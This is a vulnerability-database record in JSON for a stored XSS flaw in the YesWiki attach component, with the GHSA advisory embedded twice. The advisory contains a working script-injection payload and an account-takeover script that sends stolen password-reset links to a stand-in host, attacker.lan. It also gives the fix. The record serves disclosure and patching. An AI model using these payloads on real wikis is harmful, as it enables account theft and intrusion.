{"id":"CVE-2025-24018","aliases":["EUVD-2025-0199","GHSA-w59h-3x3q-3p6j"],"status":"published","title":"YesWiki Vulnerable to Authenticated Stored XSS","description":"YesWiki is a wiki system written in PHP. In versions up to and including 4.4.5, it is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded. The vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availability and confidentiality of a YesWiki instance. Version 4.5.0 contains a patch for the issue.","severity":{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00418,"percentile":0.3642,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2025-01-21T17:02:04Z","modified":"2026-10-28T02:31:06Z","fixes":[{"ecosystem":"Packagist","package":"yeswiki/yeswiki","fixed_in":["4.5.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"yeswiki/yeswiki","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.4.5"},{"fixed":"4.5.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"yeswiki/yeswiki","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.0"}]}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5"]}],"products":[{"vendor":"yeswiki","product":"yeswiki"}],"references":[{"url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w59h-3x3q-3p6j","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/YesWiki/yeswiki/blob/v4.4.5/tools/attach/libs/attach.lib.php#L660","tags":["x_refsource_MISC","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-24018","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-w59h-3x3q-3p6j"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/24xxx/CVE-2025-24018.json","tags":["advisory"]},{"url":"https://github.com/YesWiki/yeswiki","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-24018","title":"YesWiki Vulnerable to Authenticated Stored XSS","description":"YesWiki is a wiki system written in PHP. In versions up to and including 4.4.5, it is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded. The vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availability and confidentiality of a YesWiki instance. Version 4.5.0 contains a patch for the issue.","status":"published","published":"2025-01-21T17:02:04.924Z","modified":"2025-01-21T17:15:37.955Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:44.11109Z"}],"euvd":[{"id":"EUVD-2025-0199","description":"YesWiki is a wiki system written in PHP. In versions up to and including 4.4.5, it is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded. The vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availability and confidentiality of a YesWiki instance. Version 4.5.0 contains a patch for the issue.","status":"published","published":"2025-01-21T17:02:04Z","modified":"2025-01-21T17:15:37Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L","level":"high"}],"updated_at":"2026-11-03T00:04:16.173755Z"}],"ghsa":[{"id":"GHSA-w59h-3x3q-3p6j","title":"Authenticated Stored XSS in YesWiki","description":"# Authenticated Stored XSS in YesWiki \u003c= 4.4.5\n\n### Summary\nIt is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. \n\nThis part of the code is managed in `tools/attach/libs/attach.lib.php` and the faulty function is **[showFileNotExits()](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/attach/libs/attach.lib.php#L660)**.\n\n```php\npublic function showFileNotExits()\n{\n    echo '\u003ca href=\"' . $this-\u003ewiki-\u003ehref('upload', $this-\u003ewiki-\u003eGetPageTag(), \"file=$this-\u003efile\") . '\" class=\"btn btn-primary\"\u003e\u003ci class=\"fa fa-upload icon-upload icon-white\"\u003e\u003c/i\u003e ' . _t('UPLOAD_FILE') . ' ' . $this-\u003efile . '\u003c/a\u003e';\n}\n```\n\nThe file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.\n\n### PoC\n#### 1. Simple XSS\nHere is a working payload `{{attach file=\"\u003cscript\u003ealert(document.domain)\u003c/script\u003e\" desc=\"\" size=\"original\" class=\" whiteborder zoom\" nofullimagelink=\"1\"}}` tha works in pages and comments:\n\nOn a comment:\n\n![poc1](https://github.com/user-attachments/assets/dab6b08e-f542-41fd-872d-d221fd228229)\n![poc2](https://github.com/user-attachments/assets/50eff326-df36-482b-be87-c4e3866497cf)\n\n\nOn a page:\n\n![poc3](https://github.com/user-attachments/assets/e9f4761a-6b7d-4508-aad5-21d4cedcd179)\n![poc4](https://github.com/user-attachments/assets/7945b9bb-bc8e-4e01-86d7-bbba823ba67c)\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch('/?ParametresUtilisateur')\n  .then(response =\u003e {\n    return response.text();\n  })\n  .then(htmlString =\u003e {\n    const parser = new DOMParser();\n    const doc = parser.parseFromString(htmlString, 'text/html');\n    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty\n    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));\n  })\n```\n\nPosting a comment using this specially crafted payload with a user account:\n\n![poc5](https://github.com/user-attachments/assets/7c143b99-a81e-4834-9453-5be067e19521)\n\nAllows our administrator account's password reset link to be sent to the listener of the attacker:\n\n![poc7](https://github.com/user-attachments/assets/bbf8c3e2-22a6-4a57-bc32-d6ca2e619cb9)\n![poc8](https://github.com/user-attachments/assets/18d5cb6e-5085-4a87-91db-2afebf40c60a)\n\nTherefore giving us access to an successful password reset for any account triggering the XSS:\n\n![poc9](https://github.com/user-attachments/assets/7e237b92-0bec-4754-b65c-59f70c010ef4)\n\n### Impact\nThis vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the filename attribute\n\n```php\npublic function showFileNotExits()\n{\n    $filename = htmlspecialchars($this-\u003efile);\n    echo '\u003ca href=\"' . $this-\u003ewiki-\u003ehref('upload', $this-\u003ewiki-\u003eGetPageTag(), \"file=$filename\") . '\" class=\"btn btn-primary\"\u003e\u003ci class=\"fa fa-upload icon-upload icon-white\"\u003e\u003c/i\u003e ' . _t('UPLOAD_FILE') . ' ' . $filename . '\u003c/a\u003e';\n}\n```\n\n- Implement a stronger password reset mechanism through:\n  + Not showing a password reset link to an already logged-in user. \n  + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n  + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n\u003e The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.","status":"published","published":"2025-01-21T20:10:49Z","modified":"2025-01-21T20:10:50Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:38:27.974809Z"}],"nvd":[{"id":"CVE-2025-24018","description":"YesWiki is a wiki system written in PHP. In versions up to and including 4.4.5, it is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded. The vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availability and confidentiality of a YesWiki instance. Version 4.5.0 contains a patch for the issue.","status":"published","published":"2025-01-21T17:15:16.917Z","modified":"2026-06-17T08:57:53.89Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:10:49.483601Z"}],"osv":[{"id":"CVE-2025-24018","title":"YesWiki Vulnerable to Authenticated Stored XSS","description":"YesWiki is a wiki system written in PHP. In versions up to and including 4.4.5, it is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded. The vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availability and confidentiality of a YesWiki instance. Version 4.5.0 contains a patch for the issue.","status":"published","published":"2025-01-21T17:02:04.924Z","modified":"2026-10-28T02:31:06.663769525Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:47.009967Z"},{"id":"GHSA-w59h-3x3q-3p6j","title":"Authenticated Stored XSS in YesWiki","description":"# Authenticated Stored XSS in YesWiki \u003c= 4.4.5\n\n### Summary\nIt is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. \n\nThis part of the code is managed in `tools/attach/libs/attach.lib.php` and the faulty function is **[showFileNotExits()](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/attach/libs/attach.lib.php#L660)**.\n\n```php\npublic function showFileNotExits()\n{\n    echo '\u003ca href=\"' . $this-\u003ewiki-\u003ehref('upload', $this-\u003ewiki-\u003eGetPageTag(), \"file=$this-\u003efile\") . '\" class=\"btn btn-primary\"\u003e\u003ci class=\"fa fa-upload icon-upload icon-white\"\u003e\u003c/i\u003e ' . _t('UPLOAD_FILE') . ' ' . $this-\u003efile . '\u003c/a\u003e';\n}\n```\n\nThe file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.\n\n### PoC\n#### 1. Simple XSS\nHere is a working payload `{{attach file=\"\u003cscript\u003ealert(document.domain)\u003c/script\u003e\" desc=\"\" size=\"original\" class=\" whiteborder zoom\" nofullimagelink=\"1\"}}` tha works in pages and comments:\n\nOn a comment:\n\n![poc1](https://github.com/user-attachments/assets/dab6b08e-f542-41fd-872d-d221fd228229)\n![poc2](https://github.com/user-attachments/assets/50eff326-df36-482b-be87-c4e3866497cf)\n\n\nOn a page:\n\n![poc3](https://github.com/user-attachments/assets/e9f4761a-6b7d-4508-aad5-21d4cedcd179)\n![poc4](https://github.com/user-attachments/assets/7945b9bb-bc8e-4e01-86d7-bbba823ba67c)\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch('/?ParametresUtilisateur')\n  .then(response =\u003e {\n    return response.text();\n  })\n  .then(htmlString =\u003e {\n    const parser = new DOMParser();\n    const doc = parser.parseFromString(htmlString, 'text/html');\n    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty\n    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));\n  })\n```\n\nPosting a comment using this specially crafted payload with a user account:\n\n![poc5](https://github.com/user-attachments/assets/7c143b99-a81e-4834-9453-5be067e19521)\n\nAllows our administrator account's password reset link to be sent to the listener of the attacker:\n\n![poc7](https://github.com/user-attachments/assets/bbf8c3e2-22a6-4a57-bc32-d6ca2e619cb9)\n![poc8](https://github.com/user-attachments/assets/18d5cb6e-5085-4a87-91db-2afebf40c60a)\n\nTherefore giving us access to an successful password reset for any account triggering the XSS:\n\n![poc9](https://github.com/user-attachments/assets/7e237b92-0bec-4754-b65c-59f70c010ef4)\n\n### Impact\nThis vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the filename attribute\n\n```php\npublic function showFileNotExits()\n{\n    $filename = htmlspecialchars($this-\u003efile);\n    echo '\u003ca href=\"' . $this-\u003ewiki-\u003ehref('upload', $this-\u003ewiki-\u003eGetPageTag(), \"file=$filename\") . '\" class=\"btn btn-primary\"\u003e\u003ci class=\"fa fa-upload icon-upload icon-white\"\u003e\u003c/i\u003e ' . _t('UPLOAD_FILE') . ' ' . $filename . '\u003c/a\u003e';\n}\n```\n\n- Implement a stronger password reset mechanism through:\n  + Not showing a password reset link to an already logged-in user. \n  + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n  + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n\u003e The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.","status":"published","published":"2025-01-21T20:10:49Z","modified":"2026-09-10T03:50:22.257399953Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:58.04805Z"}]}}